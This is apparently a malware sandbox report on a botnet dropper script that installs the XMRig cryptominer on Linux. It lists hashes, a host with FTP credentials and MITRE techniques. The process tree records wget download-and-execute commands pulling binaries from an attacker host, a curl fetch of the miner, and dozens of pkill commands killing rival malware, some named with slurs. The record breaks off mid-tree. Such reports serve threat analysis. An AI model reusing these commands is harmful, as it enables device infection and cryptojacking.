xmrig | ca0bd413a34399accc6f62506ac94f9c7e1fd5c4efa49d1627eed568b1de78bf

Analysis

max time kernel
150s
max time network
150s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
23-11-2024 23:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

yak.sh
Size

2KB
MD5

f50f60f970a5203dad27c480da7b4519
SHA1

f50f26900efe72f11c37767b5db9a3916a7c76b4
SHA256

ca0bd413a34399accc6f62506ac94f9c7e1fd5c4efa49d1627eed568b1de78bf
SHA512

40c118ed8e7b22ba4c439cc3de9a9d69d7cccd9b4d109b00a716ea564379e001304edaffb0f9ca143e87cb0138f566aebea2e998b76c9bb4b653cf7a191e4ddd

Score

10^/10

xmrig xmrig_linux defense_evasion discovery miner

Malware Config

Extracted

Credentials

Protocol: ftp
Host:
linux-it.abuser.eu
Port:
21
Username:
anonymous
Password:
[email protected]

Signatures

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
behavioral3/files/fstream-2.dat	family_xmrig
behavioral3/files/fstream-2.dat	xmrig

Xmrig family
xmrig
Xmrig_linux family
xmrig_linux
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig_linux

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	Process
879	chmod
927	chmod
939	chmod
780	chmod
791	chmod
835	chmod
905	chmod
750	chmod
812	chmod
867	chmod
761	chmod
992	chmod
736	chmod
770	chmod

Executes dropped EXE 2 IoCs

Processes:

yakuza.mipsxmrig

ioc	pid	Process
/tmp/yakuza.mips	737	yakuza.mips
/tmp/xmrig	993	xmrig

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

Processes:

pkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkill

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

pkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpspkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkill

description	ioc	Process
File opened for reading	/proc/82/status	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/350/cmdline	pkill
File opened for reading	/proc/741/status	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/322/status	pkill
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/708/cmdline	pkill
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/21/status	pkill
File opened for reading	/proc/71/status	pkill
File opened for reading	/proc/16/cmdline	pkill
File opened for reading	/proc/676/status	pkill
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/1112/status	pkill
File opened for reading	/proc/1118/cmdline	pkill
File opened for reading	/proc/20/cmdline	pkill
File opened for reading	/proc/72/status	pkill
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/161/status	pkill
File opened for reading	/proc/76/status	pkill
File opened for reading	/proc/76/cmdline	pkill
File opened for reading	/proc/805/status	pkill
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/81/status	pkill
File opened for reading	/proc/950/cmdline	ps
File opened for reading	/proc/14/status	pkill
File opened for reading	/proc/432/status	pkill
File opened for reading	/proc/12/cmdline	pkill
File opened for reading	/proc/738/cmdline	pkill
File opened for reading	/proc/738/status	pkill
File opened for reading	/proc/372/cmdline	pkill
File opened for reading	/proc/179/status	pkill
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/372/cmdline	ps
File opened for reading	/proc/71/cmdline	pkill
File opened for reading	/proc/73/cmdline	pkill
File opened for reading	/proc/161/cmdline	pkill
File opened for reading	/proc/78/status	pkill
File opened for reading	/proc/sys/kernel/osrelease	pkill
File opened for reading	/proc/37/cmdline	pkill
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/235/cmdline	pkill
File opened for reading	/proc/740/cmdline	pkill
File opened for reading	/proc/81/cmdline	pkill
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/21/status	pkill
File opened for reading	/proc/957/status	pkill
File opened for reading	/proc/7/cmdline	pkill
File opened for reading	/proc/350/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/84/cmdline	pkill
File opened for reading	/proc/687/status	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/322/cmdline	pkill
File opened for reading	/proc/78/status	pkill
File opened for reading	/proc/687/cmdline	pkill

System Network Configuration Discovery 1 TTPs 9 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

rmshpkillbusyboxyakuza.mipselyakuza.mipsrmwgetwget

pid	Process
753	rm
1115	sh
1116	pkill
1117	busybox
751	yakuza.mipsel
737	yakuza.mips
739	rm
744	wget
713	wget

Writes file to tmp directory 15 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetwgetwgetwgetwgetwgetwgetshwgetwgetwgetwgetwgetwgetcurl

description	ioc	Process
File opened for modification	/tmp/yakuza.sh	wget
File opened for modification	/tmp/yakuza.i586	wget
File opened for modification	/tmp/yakuza.arm4	wget
File opened for modification	/tmp/yakuza.arm5	wget
File opened for modification	/tmp/yakuza.i686	wget
File opened for modification	/tmp/yakuza.m68k	wget
File opened for modification	/tmp/yakuza.arm7	wget
File opened for modification	/tmp/S�@@p�~@8	sh
File opened for modification	/tmp/yakuza.mips	wget
File opened for modification	/tmp/yakuza.mipsel	wget
File opened for modification	/tmp/yakuza.arm6	wget
File opened for modification	/tmp/yakuza.ppc	wget
File opened for modification	/tmp/yakuza.x86	wget
File opened for modification	/tmp/yakuza.sparc	wget
File opened for modification	/tmp/xmrig	curl

/tmp/yak.sh
/tmp/yak.sh
1⤵
PID:709
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:713
- /bin/chmod
  chmod +x yakuza.mips
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/yakuza.mips
  ./yakuza.mips
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:737
- - /bin/sh
    sh -c "pkill -9 902i13 || busybox pkill -9 902i13"
    3⤵
    PID:742
  - - /usr/bin/pkill
      pkill -9 902i13
      4⤵
      Reads runtime system information
      PID:743
  - - /bin/busybox
      busybox pkill -9 902i13
      4⤵
      PID:745
- - /bin/sh
    sh -c "pkill -9 BzSxLxBxeY || busybox pkill -9 BzSxLxBxeY"
    3⤵
    PID:747
  - - /usr/bin/pkill
      pkill -9 BzSxLxBxeY
      4⤵
      PID:748
  - - /bin/busybox
      busybox pkill -9 BzSxLxBxeY
      4⤵
      PID:749
- - /bin/sh
    sh -c "pkill -9 HOHO-LUGO7 || busybox pkill -9 HOHO-LUGO7"
    3⤵
    PID:755
  - - /usr/bin/pkill
      pkill -9 HOHO-LUGO7
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:756
  - - /bin/busybox
      busybox pkill -9 HOHO-LUGO7
      4⤵
      PID:757
- - /bin/sh
    sh -c "pkill -9 HOHO-U79OL || busybox pkill -9 HOHO-U79OL"
    3⤵
    PID:758
  - - /usr/bin/pkill
      pkill -9 HOHO-U79OL
      4⤵
      Reads CPU attributes
      PID:759
  - - /bin/busybox
      busybox pkill -9 HOHO-U79OL
      4⤵
      PID:760
- - /bin/sh
    sh -c "pkill -9 JuYfouyf87 || busybox pkill -9 JuYfouyf87"
    3⤵
    PID:766
  - - /usr/bin/pkill
      pkill -9 JuYfouyf87
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:767
  - - /bin/busybox
      busybox pkill -9 JuYfouyf87
      4⤵
      PID:768
- - /bin/sh
    sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"
    3⤵
    PID:769
  - - /usr/bin/pkill
      pkill -9 NiGGeR69xd
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:771
  - - /bin/busybox
      busybox pkill -9 NiGGeR69xd
      4⤵
      PID:775
- - /bin/sh
    sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"
    3⤵
    PID:777
  - - /usr/bin/pkill
      pkill -9 SO190Ij1X
      4⤵
      Reads CPU attributes
      PID:778
  - - /bin/busybox
      busybox pkill -9 SO190Ij1X
      4⤵
      PID:779
- - /bin/sh
    sh -c "pkill -9 LOLKIKEEEDDE || busybox pkill -9 LOLKIKEEEDDE"
    3⤵
    PID:785
  - - /usr/bin/pkill
      pkill -9 LOLKIKEEEDDE
      4⤵
      PID:786
  - - /bin/busybox
      busybox pkill -9 LOLKIKEEEDDE
      4⤵
      PID:787
- - /bin/sh
    sh -c "pkill -9 ekjheory98e || busybox pkill -9 ekjheory98e"
    3⤵
    PID:788
  - - /usr/bin/pkill
      pkill -9 ekjheory98e
      4⤵
      Reads runtime system information
      PID:789
  - - /bin/busybox
      busybox pkill -9 ekjheory98e
      4⤵
      PID:790
- - /bin/sh
    sh -c "pkill -9 scansh4 || busybox pkill -9 scansh4"
    3⤵
    PID:796
  - - /usr/bin/pkill
      pkill -9 scansh4
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:797
  - - /bin/busybox
      busybox pkill -9 scansh4
      4⤵
      PID:798
- - /bin/sh
    sh -c "pkill -9 MDMA || busybox pkill -9 MDMA"
    3⤵
    PID:805
  - - /usr/bin/pkill
      pkill -9 MDMA
      4⤵
      Reads runtime system information
      PID:806
  - - /bin/busybox
      busybox pkill -9 MDMA
      4⤵
      PID:808
- - /bin/sh
    sh -c "pkill -9 fdevalvex || busybox pkill -9 fdevalvex"
    3⤵
    PID:817
  - - /usr/bin/pkill
      pkill -9 fdevalvex
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:819
  - - /bin/busybox
      busybox pkill -9 fdevalvex
      4⤵
      PID:821
- - /bin/sh
    sh -c "pkill -9 scanspc || busybox pkill -9 scanspc"
    3⤵
    PID:829
  - - /usr/bin/pkill
      pkill -9 scanspc
      4⤵
      Reads CPU attributes
      PID:830
  - - /bin/busybox
      busybox pkill -9 scanspc
      4⤵
      PID:832
- - /bin/sh
    sh -c "pkill -9 MELTEDNINJAREALZ || busybox pkill -9 MELTEDNINJAREALZ"
    3⤵
    PID:841
  - - /usr/bin/pkill
      pkill -9 MELTEDNINJAREALZ
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:842
  - - /bin/busybox
      busybox pkill -9 MELTEDNINJAREALZ
      4⤵
      PID:845
- - /bin/sh
    sh -c "pkill -9 flexsonskids || busybox pkill -9 flexsonskids"
    3⤵
    PID:852
  - - /usr/bin/pkill
      pkill -9 flexsonskids
      4⤵
      Reads CPU attributes
      PID:853
  - - /bin/busybox
      busybox pkill -9 flexsonskids
      4⤵
      PID:855
- - /bin/sh
    sh -c "pkill -9 scanx86 || busybox pkill -9 scanx86"
    3⤵
    PID:864
  - - /usr/bin/pkill
      pkill -9 scanx86
      4⤵
      Reads CPU attributes
      PID:865
  - - /bin/busybox
      busybox pkill -9 scanx86
      4⤵
      PID:871
- - /bin/sh
    sh -c "pkill -9 MISAKI-U79OL || busybox pkill -9 MISAKI-U79OL"
    3⤵
    PID:882
  - - /usr/bin/pkill
      pkill -9 MISAKI-U79OL
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:889
  - - /bin/busybox
      busybox pkill -9 MISAKI-U79OL
      4⤵
      PID:920
- - /bin/sh
    sh -c "pkill -9 foAxi102kxe || busybox pkill -9 foAxi102kxe"
    3⤵
    PID:923
  - - /usr/bin/pkill
      pkill -9 foAxi102kxe
      4⤵
      Reads CPU attributes
      PID:924
  - - /bin/busybox
      busybox pkill -9 foAxi102kxe
      4⤵
      PID:925
- - /bin/sh
    sh -c "pkill -9 swodjwodjwoj || busybox pkill -9 swodjwodjwoj"
    3⤵
    PID:926
  - - /usr/bin/pkill
      pkill -9 swodjwodjwoj
      4⤵
      Reads runtime system information
      PID:929
  - - /bin/busybox
      busybox pkill -9 swodjwodjwoj
      4⤵
      PID:930
- - /bin/sh
    sh -c "pkill -9 MmKiy7f87l || busybox pkill -9 MmKiy7f87l"
    3⤵
    PID:934
  - - /usr/bin/pkill
      pkill -9 MmKiy7f87l
      4⤵
      Reads CPU attributes
      PID:935
  - - /bin/busybox
      busybox pkill -9 MmKiy7f87l
      4⤵
      PID:936
- - /bin/sh
    sh -c "pkill -9 freecookiex86 || busybox pkill -9 freecookiex86"
    3⤵
    PID:937
  - - /usr/bin/pkill
      pkill -9 freecookiex86
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:938
  - - /bin/busybox
      busybox pkill -9 freecookiex86
      4⤵
      PID:940
- - /bin/sh
    sh -c "pkill -9 sysgpu || busybox pkill -9 sysgpu"
    3⤵
    PID:951
  - - /usr/bin/pkill
      pkill -9 sysgpu
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:952
  - - /bin/busybox
      busybox pkill -9 sysgpu
      4⤵
      PID:953
- - /bin/sh
    sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"
    3⤵
    PID:956
  - - /usr/bin/pkill
      pkill -9 NiGGeR69xd
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:957
  - - /bin/busybox
      busybox pkill -9 NiGGeR69xd
      4⤵
      PID:958
- - /bin/sh
    sh -c "pkill -9 frgege || busybox pkill -9 frgege"
    3⤵
    PID:959
  - - /usr/bin/pkill
      pkill -9 frgege
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:960
  - - /bin/busybox
      busybox pkill -9 frgege
      4⤵
      PID:961
- - /bin/sh
    sh -c "pkill -9 sysupdater || busybox pkill -9 sysupdater"
    3⤵
    PID:962
  - - /usr/bin/pkill
      pkill -9 sysupdater
      4⤵
      Reads CPU attributes
      PID:963
  - - /bin/busybox
      busybox pkill -9 sysupdater
      4⤵
      PID:964
- - /bin/sh
    sh -c "pkill -9 0DnAzepd || busybox pkill -9 0DnAzepd"
    3⤵
    PID:965
  - - /usr/bin/pkill
      pkill -9 0DnAzepd
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:966
  - - /bin/busybox
      busybox pkill -9 0DnAzepd
      4⤵
      PID:967
- - /bin/sh
    sh -c "pkill -9 NiGGeRD0nks69 || busybox pkill -9 NiGGeRD0nks69"
    3⤵
    PID:968
  - - /usr/bin/pkill
      pkill -9 NiGGeRD0nks69
      4⤵
      Reads CPU attributes
      PID:969
  - - /bin/busybox
      busybox pkill -9 NiGGeRD0nks69
      4⤵
      PID:970
- - /bin/sh
    sh -c "pkill -9 frgreu || busybox pkill -9 frgreu"
    3⤵
    PID:971
  - - /usr/bin/pkill
      pkill -9 frgreu
      4⤵
      Reads CPU attributes
      PID:972
  - - /bin/busybox
      busybox pkill -9 frgreu
      4⤵
      PID:973
- - /bin/sh
    sh -c "pkill -9 telnetd || busybox pkill -9 telnetd"
    3⤵
    PID:974
  - - /usr/bin/pkill
      pkill -9 telnetd
      4⤵
      Reads runtime system information
      PID:975
  - - /bin/busybox
      busybox pkill -9 telnetd
      4⤵
      PID:976
- - /bin/sh
    sh -c "pkill -9 0x766f6964 || busybox pkill -9 0x766f6964"
    3⤵
    PID:977
  - - /usr/bin/pkill
      pkill -9 0x766f6964
      4⤵
      PID:978
  - - /bin/busybox
      busybox pkill -9 0x766f6964
      4⤵
      PID:979
- - /bin/sh
    sh -c "pkill -9 NiGGeRd0nks1337 || busybox pkill -9 NiGGeRd0nks1337"
    3⤵
    PID:980
  - - /usr/bin/pkill
      pkill -9 NiGGeRd0nks1337
      4⤵
      Reads CPU attributes
      PID:981
  - - /bin/busybox
      busybox pkill -9 NiGGeRd0nks1337
      4⤵
      PID:982
- - /bin/sh
    sh -c "pkill -9 gaft || busybox pkill -9 gaft"
    3⤵
    PID:983
  - - /usr/bin/pkill
      pkill -9 gaft
      4⤵
      Reads runtime system information
      PID:984
  - - /bin/busybox
      busybox pkill -9 gaft
      4⤵
      PID:985
- - /bin/sh
    sh -c "pkill -9 urasgbsigboa || busybox pkill -9 urasgbsigboa"
    3⤵
    PID:986
  - - /usr/bin/pkill
      pkill -9 urasgbsigboa
      4⤵
      PID:987
  - - /bin/busybox
      busybox pkill -9 urasgbsigboa
      4⤵
      PID:988
- - /bin/sh
    sh -c "pkill -9 120i3UI49 || busybox pkill -9 120i3UI49"
    3⤵
    PID:989
  - - /usr/bin/pkill
      pkill -9 120i3UI49
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:990
  - - /bin/busybox
      busybox pkill -9 120i3UI49
      4⤵
      PID:991
- - /bin/sh
    sh -c "pkill -9 OaF3 || busybox pkill -9 OaF3"
    3⤵
    PID:995
  - - /usr/bin/pkill
      pkill -9 OaF3
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:996
  - - /bin/busybox
      busybox pkill -9 OaF3
      4⤵
      PID:997
- - /bin/sh
    sh -c "pkill -9 geae || busybox pkill -9 geae"
    3⤵
    PID:998
  - - /usr/bin/pkill
      pkill -9 geae
      4⤵
      Reads CPU attributes
      PID:999
  - - /bin/busybox
      busybox pkill -9 geae
      4⤵
      PID:1000
- - /bin/sh
    sh -c "pkill -9 vaiolmao || busybox pkill -9 vaiolmao"
    3⤵
    PID:1001
  - - /usr/bin/pkill
      pkill -9 vaiolmao
      4⤵
      PID:1002
  - - /bin/busybox
      busybox pkill -9 vaiolmao
      4⤵
      PID:1003
- - /bin/sh
    sh -c "pkill -9 123123a || busybox pkill -9 123123a"
    3⤵
    PID:1004
  - - /usr/bin/pkill
      pkill -9 123123a
      4⤵
      Reads CPU attributes
      PID:1005
  - - /bin/busybox
      busybox pkill -9 123123a
      4⤵
      PID:1006
- - /bin/sh
    sh -c "pkill -9 Ofurain0n4H34D || busybox pkill -9 Ofurain0n4H34D"
    3⤵
    PID:1007
  - - /usr/bin/pkill
      pkill -9 Ofurain0n4H34D
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1008
  - - /bin/busybox
      busybox pkill -9 Ofurain0n4H34D
      4⤵
      PID:1009
- - /bin/sh
    sh -c "pkill -9 ggTrex || busybox pkill -9 ggTrex"
    3⤵
    PID:1010
  - - /usr/bin/pkill
      pkill -9 ggTrex
      4⤵
      Reads runtime system information
      PID:1011
  - - /bin/busybox
      busybox pkill -9 ggTrex
      4⤵
      PID:1012
- - /bin/sh
    sh -c "pkill -9 wasads || busybox pkill -9 wasads"
    3⤵
    PID:1013
  - - /usr/bin/pkill
      pkill -9 wasads
      4⤵
      Reads CPU attributes
      PID:1014
  - - /bin/busybox
      busybox pkill -9 wasads
      4⤵
      PID:1015
- - /bin/sh
    sh -c "pkill -9 1293194hjXD || busybox pkill -9 1293194hjXD"
    3⤵
    PID:1016
  - - /usr/bin/pkill
      pkill -9 1293194hjXD
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1017
  - - /bin/busybox
      busybox pkill -9 1293194hjXD
      4⤵
      PID:1018
- - /bin/sh
    sh -c "pkill -9 OthLaLosn || busybox pkill -9 OthLaLosn"
    3⤵
    PID:1019
  - - /usr/bin/pkill
      pkill -9 OthLaLosn
      4⤵
      Reads CPU attributes
      PID:1020
  - - /bin/busybox
      busybox pkill -9 OthLaLosn
      4⤵
      PID:1021
- - /bin/sh
    sh -c "pkill -9 ggt || busybox pkill -9 ggt"
    3⤵
    PID:1022
  - - /usr/bin/pkill
      pkill -9 ggt
      4⤵
      Reads CPU attributes
      PID:1023
  - - /bin/busybox
      busybox pkill -9 ggt
      4⤵
      PID:1024
- - /bin/sh
    sh -c "pkill -9 wget-log || busybox pkill -9 wget-log"
    3⤵
    PID:1025
  - - /usr/bin/pkill
      pkill -9 wget-log
      4⤵
      Reads CPU attributes
      PID:1026
  - - /bin/busybox
      busybox pkill -9 wget-log
      4⤵
      PID:1027
- - /bin/sh
    sh -c "pkill -9 1337SoraLOADER || busybox pkill -9 1337SoraLOADER"
    3⤵
    PID:1028
  - - /usr/bin/pkill
      pkill -9 1337SoraLOADER
      4⤵
      PID:1029
  - - /bin/busybox
      busybox pkill -9 1337SoraLOADER
      4⤵
      PID:1030
- - /bin/sh
    sh -c "pkill -9 SAIAKINA || busybox pkill -9 SAIAKINA"
    3⤵
    PID:1031
  - - /usr/bin/pkill
      pkill -9 SAIAKINA
      4⤵
      Reads CPU attributes
      PID:1032
  - - /bin/busybox
      busybox pkill -9 SAIAKINA
      4⤵
      PID:1033
- - /bin/sh
    sh -c "pkill -9 ggtq || busybox pkill -9 ggtq"
    3⤵
    PID:1034
  - - /usr/bin/pkill
      pkill -9 ggtq
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1035
  - - /bin/busybox
      busybox pkill -9 ggtq
      4⤵
      PID:1036
- - /bin/sh
    sh -c "pkill -9 1378bfp919GRB1Q2 || busybox pkill -9 1378bfp919GRB1Q2"
    3⤵
    PID:1037
  - - /usr/bin/pkill
      pkill -9 1378bfp919GRB1Q2
      4⤵
      Reads CPU attributes
      PID:1038
  - - /bin/busybox
      busybox pkill -9 1378bfp919GRB1Q2
      4⤵
      PID:1039
- - /bin/sh
    sh -c "pkill -9 SAIAKUSO || busybox pkill -9 SAIAKUSO"
    3⤵
    PID:1040
  - - /usr/bin/pkill
      pkill -9 SAIAKUSO
      4⤵
      Reads CPU attributes
      PID:1041
  - - /bin/busybox
      busybox pkill -9 SAIAKUSO
      4⤵
      PID:1042
- - /bin/sh
    sh -c "pkill -9 ggtr || busybox pkill -9 ggtr"
    3⤵
    PID:1043
  - - /usr/bin/pkill
      pkill -9 ggtr
      4⤵
      PID:1044
  - - /bin/busybox
      busybox pkill -9 ggtr
      4⤵
      PID:1045
- - /bin/sh
    sh -c "pkill -9 14Fa || busybox pkill -9 14Fa"
    3⤵
    PID:1046
  - - /usr/bin/pkill
      pkill -9 14Fa
      4⤵
      Reads CPU attributes
      PID:1047
  - - /bin/busybox
      busybox pkill -9 14Fa
      4⤵
      PID:1048
- - /bin/sh
    sh -c "pkill -9 SEXSLAVE1337 || busybox pkill -9 SEXSLAVE1337"
    3⤵
    PID:1049
  - - /usr/bin/pkill
      pkill -9 SEXSLAVE1337
      4⤵
      PID:1050
  - - /bin/busybox
      busybox pkill -9 SEXSLAVE1337
      4⤵
      PID:1051
- - /bin/sh
    sh -c "pkill -9 ggtt || busybox pkill -9 ggtt"
    3⤵
    PID:1052
  - - /usr/bin/pkill
      pkill -9 ggtt
      4⤵
      PID:1053
  - - /bin/busybox
      busybox pkill -9 ggtt
      4⤵
      PID:1054
- - /bin/sh
    sh -c "pkill -9 1902a3u912u3u4 || busybox pkill -9 1902a3u912u3u4"
    3⤵
    PID:1055
  - - /usr/bin/pkill
      pkill -9 1902a3u912u3u4
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1056
  - - /bin/busybox
      busybox pkill -9 1902a3u912u3u4
      4⤵
      PID:1057
- - /bin/sh
    sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"
    3⤵
    PID:1058
  - - /usr/bin/pkill
      pkill -9 SO190Ij1X
      4⤵
      Reads CPU attributes
      PID:1059
  - - /bin/busybox
      busybox pkill -9 SO190Ij1X
      4⤵
      PID:1060
- - /bin/sh
    sh -c "pkill -9 haetrghbr || busybox pkill -9 haetrghbr"
    3⤵
    PID:1061
  - - /usr/bin/pkill
      pkill -9 haetrghbr
      4⤵
      Reads CPU attributes
      PID:1062
  - - /bin/busybox
      busybox pkill -9 haetrghbr
      4⤵
      PID:1063
- - /bin/sh
    sh -c "pkill -9 19ju3d || busybox pkill -9 19ju3d"
    3⤵
    PID:1064
  - - /usr/bin/pkill
      pkill -9 19ju3d
      4⤵
      PID:1065
  - - /bin/busybox
      busybox pkill -9 19ju3d
      4⤵
      PID:1066
- - /bin/sh
    sh -c "pkill -9 SORAojkf120 || busybox pkill -9 SORAojkf120"
    3⤵
    PID:1067
  - - /usr/bin/pkill
      pkill -9 SORAojkf120
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1068
  - - /bin/busybox
      busybox pkill -9 SORAojkf120
      4⤵
      PID:1069
- - /bin/sh
    sh -c "pkill -9 hehahejeje92 || busybox pkill -9 hehahejeje92"
    3⤵
    PID:1070
  - - /usr/bin/pkill
      pkill -9 hehahejeje92
      4⤵
      Reads CPU attributes
      PID:1071
  - - /bin/busybox
      busybox pkill -9 hehahejeje92
      4⤵
      PID:1072
- - /bin/sh
    sh -c "pkill -9 2U2JDJA901F91 || busybox pkill -9 2U2JDJA901F91"
    3⤵
    PID:1073
  - - /usr/bin/pkill
      pkill -9 2U2JDJA901F91
      4⤵
      PID:1074
  - - /bin/busybox
      busybox pkill -9 2U2JDJA901F91
      4⤵
      PID:1075
- - /bin/sh
    sh -c "pkill -9 SlaVLav12 || busybox pkill -9 SlaVLav12"
    3⤵
    PID:1076
  - - /usr/bin/pkill
      pkill -9 SlaVLav12
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1077
  - - /bin/busybox
      busybox pkill -9 SlaVLav12
      4⤵
      PID:1078
- - /bin/sh
    sh -c "pkill -9 helpmedaddthhhhh || busybox pkill -9 helpmedaddthhhhh"
    3⤵
    PID:1079
  - - /usr/bin/pkill
      pkill -9 helpmedaddthhhhh
      4⤵
      Reads CPU attributes
      PID:1080
  - - /bin/busybox
      busybox pkill -9 helpmedaddthhhhh
      4⤵
      PID:1081
- - /bin/sh
